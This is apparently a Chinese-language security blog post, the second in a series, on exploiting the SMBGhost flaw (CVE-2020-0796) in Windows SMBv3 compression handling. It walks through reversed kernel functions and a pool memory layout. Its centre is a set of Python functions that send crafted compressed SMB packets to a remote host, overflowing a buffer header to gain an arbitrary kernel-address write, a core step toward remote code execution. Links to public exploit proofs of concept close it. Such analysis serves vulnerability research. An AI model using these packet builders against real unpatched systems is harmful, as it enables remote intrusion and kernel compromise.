接上文:
在上文總結CVE-2020-0796漏洞成因分析的基礎上,本文系統歸納分析總結漏洞利用的過程。
由於本地提權不是本文關注的重點,因此也就不作詳細分析了,這裡僅根據 ZecOps 的分析文章,梳理了其使用的一些關鍵技術和相關參考連結:
1. 實現任意地址寫
Write-What-Where CVE-2020-0796 Exploit
https://github.com/ZecOps/CVE-2020-0796-LPE-POC/blob/master/write_what_where.py2. 基於win32kbase.sys函數指針複寫的提權技術(要求目標為GUI線程,可惜SMB不是)
Black Hat USA 2017 talk (Morten Schenk)
https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level–Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdfExploiting a Windows 10 PagedPool off-by-one overflow (WCTF 2018)
https://j00ru.vexillium.org/2018/07/exploiting-a-windows-10-pagedpool-off-by-one/3. 利用NtQuerySystemInformation實現進程token洩露
Easy Local Windows Kernel Exploitation (cesarcer)
https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdfAbusing Token Privileges For EoP
https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt4. 利用向winlogon.exe注入DLL實現本地提權
Exploiting an Arbitrary Write to Escalate Privileges - Segfault
https://segfault.me/2019/05/24/exploiting-an-arbitrary-write-to-escalate-privileges/正式開始前,需要先熟知SMB2使用的壓縮頭數據結構,根據:
SMB2中的COMPRESSION_TRANSFORM_HEADER結構定義如下:
ProtocolId (4 bytes): 固定值0x424D53FC
OriginalCompressedSegmentSize (4 bytes): 非壓縮數據區的大小(字節數)
CompressionAlgorithm (2 bytes): 壓縮算法
Flags (2 bytes): 0x0000或者0x0001,用於指明是否支持壓縮鏈
Offset/Length (4 bytes): 根據Flags的值,如果Flags為1,則代表壓縮區的大小;如果Flags為0,則代表壓縮區的起始偏移
結合Srv2DecompressData函數,我們可以發現用戶可以完全控制OriginalCompressedSegmentSize和Offset,這個條件應當算是相當不錯了,但是距離實現真正的遠程代碼執行(RCE)還有很長的路要走。
首先我們來規劃一下實現RCE的技術路線(目前能想到的一些障礙),後面看進展情況,能實現多少算多少:
實現任意地址寫入:作為後續操作的基礎
實現任意地址讀取:繞過地址隨機化(ASLR)必備
突破DEP防護
截獲程序控制流(控制RIP)
突破控制流防護(CFG)
內核shellcode和用戶態shellcode
實現RCE
0x01 實現任意地址寫入
通過漏洞原理分析,我們知道目標程序中有多個可利用的漏洞點,而實現任意地址寫入的關鍵是要篡改內存拷貝過程中的目的地址和控制源數據。因此整個過程可以按照如下過程進行:
找到可以進行內存拷貝的位置
利用溢出實現目的地址的篡改
利用內存拷貝實現任意地址寫入
(1)尋找內存拷貝函數
我們非常幸運,漏洞函數中就有一處可用的內存拷貝,我們再仔細看一下srv2!Srv2DecompressData這個存在漏洞的函數:
NTSTATUS Srv2DecompressData(PHEADER Header, SIZE_T TotalSize) { PSRVNET_BUFFER_HDR Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalSize + Header->Offset), NULL); …… NTSTATUS Status = SmbCompressionDecompress( Header->CompressionAlgorithm, (PUCHAR)Header + sizeof(HEADER) + Header->Offset, (ULONG)(TotalSize - sizeof(HEADER) - Header->Offset), (PUCHAR)Alloc->UserBuffer + Header->Offset, Header->OriginalSize, &FinalCompressedSize); if (Status < 0 || FinalCompressedSize != Header->OriginalSize) { SrvNetFreeBuffer(Alloc); return STATUS_BAD_DATA; } …… if ( compressHeader.offsetOrLength ) { memmove(Alloc->UserBuffer, (PUCHAR)Header + sizeof(HEADER), Header->Offset); } ……}
該函中比較明顯的溢出點有3處:
溢出點為整數溢出,如果兩數之和超過0xffffffff,將發生整數溢出,導致申請一個超小的內存空間
溢出點是SmbCompressionDecompress函數2個參數(第10和12行)存在緩衝區溢出,另外1個參數(第11行)存在整數溢出
溢出點比較明顯,是典型的緩衝區溢出
對於3處的內存拷貝過程,從上面對內存塊結構的分析,我們可以發現目的地址Alloc->UserBuffer就存放在申請的SRVNET_BUFFER_HDR結構體中,源地址指向用戶數據包中的數據,拷貝長度也是用戶指定的。而目的地址我們可以通過溢出點[B]來任意改寫,也就是說我們能夠實現任意地址寫啦!
(2)目的地址篡改
現有的條件就是上述溢出點,我們需要找到有用的對象來溢出,並控制一些有用的欄位。其中3處溢出點如果可以利用,應該是最方便的。為此,我們可以先分析一下Alloc->UserBuffer指向的內存區域及其後續的對象。
現在我們需要詳細分析SrvNetAllocateBuffer所做的工作了,這裡我們繼續偷懶盜用 ZecOps 的逆向結果(做了一些小改動):
PSRVNET_BUFFER_HDR SrvNetAllocateBuffer( SIZE_T AllocSize, PSRVNET_BUFFER_HDR SourceBuffer){ if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) { if (AllocSize > 0x1000100) { return NULL; } Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize); } else { int LookasideListIndex = 0; if (AllocSize > 0x1100) { LookasideListIndex = ; } SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex]; Result = ExpInterlockedPopEntrySList((PSLIST_HEADER)list.header); if (!Result) { Result = list.some_alloc_func(); } } }
可見該函數在申請內存時使用了LookasideList,具體來說可以根據申請的大小分為4種情況:
當AllocSize > 0x1000100,申請失敗;
當AllocSize > 0x100100,使用`SrvNetAllocateBufferFromPool`直接申請;
當AllocSize > 0x1100,計算LookasideListIndex,並從SrvNetBufferLookasides數組中查找是否存在可用的內存塊,如果找到則直接使用該內存塊,否則就調用PplGenericAllocateFunction,最終是通過SrvNetAllocateBufferFromPool完成內存的申請;
當AllocSize<=0x1100,則LookasideListIndex=0,處理過程同3。
調試器中,該過程的調用棧如下:
1: kd> kc00 srvnet!SrvNetAllocateBufferFromPool01 srvnet!SrvNetBufferLookasideAllocate02 srvnet!PplGenericAllocateFunction03 srvnet!SrvNetAllocateBuffer04 srv2!Srv2DecompressData05 srv2!Srv2DecompressMessageAsync
其中srvnet!PplGenericAllocateFunction和srvnet!SrvNetBufferLookasideAllocate並沒有什麼實際的操作,所以我們直接看srvnet!SrvNetAllocateBufferFromPool,該函數的簡化版本如下:
PSRVNET_BUFFER_HDR SrvNetAllocateBufferFromPool( int64 unused_size, uint64 size){ ... sizeOfHeaderAndBuf = size + 0xE8; sizeOfMDL = MmSizeOfMdl(0, size + 0xE8); sizeOfMDLAligned = sizeOfMDL + 8; sizeOfMDLs = 2 * sizeOfMDLAligned; allocSize = sizeOfMDLs + sizeOfHeaderAndBuf; ... pNonPagedPoolAddr = (BYTE *)ExAllocatePoolWithTag( (POOL_TYPE)512, allocSize, 0x3030534C); ... userBuffer = pNonPagedPoolAddr + 0x50; pMDL1 = pNonPagedPoolAddr + 0x90; hd = (PSRVNET_BUFFER_HDR)(pNonPagedPoolAddr + size + 0x50); hd->UserBuffer = pNonPagedPoolAddr + 0x50; hd->userSize = (DOWRD)size; hd->allocSize = (DOWRD)allocSize; hd->pNonPagedPoolAddr = pNonPagedPoolAddr; hd->pMDL1 = pMDL1; pMDL1->userBufferAligned = userBuffer & 0xff...f000; pMDL1->userBufferOffset = (DOWRD)userBuffer & 0xfff; pMDL1->userSize = (DOWRD)size; ... return hd;}
通過對該函數的分析,我們可以了解申請的內存塊的結構如下:
|| <--- ExAllocatePoolWithTag 的返回地址| unknown data || 0x50 bytes ||| <--- Alloc->UserBuffer| user data | | 0x1100 bytes ||| <--- 返回值 Alloc , SRVNET_BUFFER_HDR| Header struct | +0x18 Alloc->UserBuffer| 0x90 bytes | +0x38 pMDL1|| <--- pMDL1| MDL1 | +0x20 Alloc->UserBuffer & 0xff..f000| 0x48 bytes ||| <--- pMDL2| MDL2 | +0x20 Alloc->UserBuffer & 0xff..f000| 0x48 bytes |||
回到srv2!Srv2DecompressData函數中,通過整數溢出1和溢出點2,看看我們能夠做什麼?
PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalSize + Header->Offset), NULL);利用1的整數溢出,我們可以使申請的內存長度小於實際的需求量,然後在SmbCompressionDecompress函數中,進行數據解壓和拷貝時發生緩衝區溢出,由於用戶數據區位於SRVNET_BUFFER_HDR的前面,因此我們能夠將任意長度的可控數據覆蓋SRVNET_BUFFER_HDR結構體,也就是說實現目的地址的篡改。測試一下:
def write_primitive_test1(ip, port): sock = reconnect(ip, port) smb_negotiate(sock) sock.recv(1000) uncompressed_data = b"\x41"*(0x1100 + 0x90) compressed_data = compress(uncompressed_data) smb_compress(sock, compressed_data, 0xFFFFFFFF, b"\x00") sock.close()(3)實現任意地址寫入
memmove(Alloc->UserBuffer, (PUCHAR)Header + sizeof(HEADER), Header->Offset);從上面對內存塊結構的分析,我們可以發現目的地址Alloc->UserBuffer就存放在申請的結構體中,源地址指向用戶數據包中的數據,拷貝長度也是用戶指定的。而目的地址我們可以通過溢出點2來任意改寫。
假設我們想要將指定長度的數據寫入指定地址,我們可以將OriginalSize設置為`0xffffffff`,將Offset(代表非壓縮數據的長度)設置為0x100,準備壓縮數據的長度為0x1100+0x18+8(數據由0x1100的"A",0x18的"B",8位元組的目的地址0x4141414141414141組成),準備非壓縮數據的長度為0x100。
def write_primitive_test2(ip, port): sock = reconnect(ip, port) smb_negotiate(sock) sock.recv(1000) data = b"\x90"*0x100 addr = 0x4141414141414141 uncompressed_data = b"\x41"*(0x1100 - len(data)) uncompressed_data += b"\x42"*0x18 uncompressed_data += struct.pack('<Q', addr) compressed_data = compress(uncompressed_data) smb_compress(sock, compressed_data, 0xFFFFFFFF, data) sock.close()發送的惡意數據包前段是非壓縮數據,後段是壓縮數據:
通過調試器看一下內存情況(紅色地址為SRVNET_BUFFER_HDR,藍色地址為Alloc->UserBuffer),在解壓縮數據包前,SRVNET_BUFFER_HDR未被破壞:
加壓縮數據包後,SRVNET_BUFFER_HDR已被破壞,Alloc->UserBuffer被改寫為0x4141414141414141:
繼續執行至memcpy,確實按照我們的預期準備向異常地址寫入我們指定的內容:
至此我們成功獲得了任意地址寫入的能力,構建寫原語:
def write_primitive(ip, port, data, addr): sock = reconnect(ip, port) smb_negotiate(sock) sock.recv(1000) uncompressed_data = b"\x41"*(0x1100 - len(data)) uncompressed_data += b"\x00"*0x18 uncompressed_data += struct.pack('<Q', addr) compressed_data = compress(uncompressed_data) smb_compress(sock, compressed_data, 0xFFFFFFFF, data) sock.close()至此,我們分析了實現任意地址寫入,下一篇我們將繼續深入分析任意地址讀。
https://github.com/eerykitty/CVE-2020-0796-PoC
https://github.com/chompie1337/SMBGhost_RCE_PoC
https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/#
https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html
由於傳播、利用此文檔提供的信息而造成任何直接或間接的後果及損害,均由使用本人負責,且聽安全團隊及文章作者不為此承擔任何責任。
點關注,不迷路!